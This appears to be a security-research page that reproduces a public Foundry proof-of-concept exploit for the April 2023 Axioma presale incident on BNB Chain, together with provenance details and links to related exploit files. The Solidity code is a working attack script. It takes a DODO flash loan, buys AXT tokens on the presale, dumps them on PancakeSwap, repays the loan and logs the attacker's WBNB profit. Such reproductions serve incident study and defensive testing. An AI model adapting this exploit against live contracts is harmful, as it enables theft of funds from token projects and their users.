Public reproduction file
src/test/2023-04/Axioma_exp.sol
Public reproduction file for dataset entry Axioma.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7/*8@Analysis9https://twitter.com/HypernativeLabs/status/1650382589847302145101. buy on presale112. sale on pancake v212@TX13https://bscscan.com/tx/0x05eabbb665a5b99490510d0b3f93565f394914294ab4d609895e525b43ff16f2*/15interface IAxiomaPresale {16 function buyToken() external payable;17}19contract ContractTest is Test {20 address axt = 0xB6CF5b77B92a722bF34f6f5D6B1Fe4700908935E;21 address axiomaPresale = 0x2C25aEe99ED08A61e7407A5674BC2d1A72B5D8E3;22 address axt_wbnb_pair = 0x6a3Fa7D2C71fd7D44BF3a2890aA257F34083c90f;23 address payable pancakeRouter = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);24 address wbnb_usdt_b = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681; // dodo wbnb-usdt pool26 function setUp() public {27 vm.createSelectFork("bsc", 27_620_321 - 1);28 }30 function testExploit() public {31 uint256 flashLoanAmount = 32_500_000_000_000_000_000;32 address wbnb = DVM(wbnb_usdt_b)._BASE_TOKEN_();33 DVM(wbnb_usdt_b).flashLoan(flashLoanAmount, 0, address(this), abi.encode(wbnb_usdt_b, wbnb, flashLoanAmount));34 }36 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {37 (address wbnb_usdt_b, address wbnb, uint256 flashLoanAmount) = abi.decode(data, (address, address, uint256));39 // 1. buy40 WETH(wbnb).withdraw(flashLoanAmount);41 IAxiomaPresale(axiomaPresale).buyToken{value: flashLoanAmount}();43 // 2. sale44 uint256 axtBalance = IERC20(axt).balanceOf(address(this));45 bscSwap(axt, wbnb, axtBalance);47 // 3. payback and get profit48 IERC20(wbnb).transfer(msg.sender, flashLoanAmount);49 uint256 profit = IERC20(wbnb).balanceOf(address(this));50 emit log_named_decimal_uint("[After Attacks] Attacker WBNB balance", profit, 18);51 }53 fallback() external payable {}55 function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {56 IERC20(tokenFrom).approve(pancakeRouter, type(uint256).max);57 address[] memory path = new address[](2);58 path[0] = tokenFrom;59 path[1] = tokenTo;60 IUniswapV2Router(pancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(61 amount, 0, path, address(this), block.timestamp62 );63 }64}Analysis
Dataset entry
Public Foundry test for “Axioma” (2023-04-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Allbridge_exp.solSame month in the dataset · 128 lines
- src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
- src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
- src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
- src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
- src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
- src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
File record
- Name
- Axioma
- Path
- src/test/2023-04/Axioma_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5886e251a96ce1d98b3798589d601c026fb22c3a
- Language
- Solidity
- Size
- 65 lines
- Date
- 2023-04-24
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/Axioma_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5886e251a96ce1d98b3798589d601c026fb22c3a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.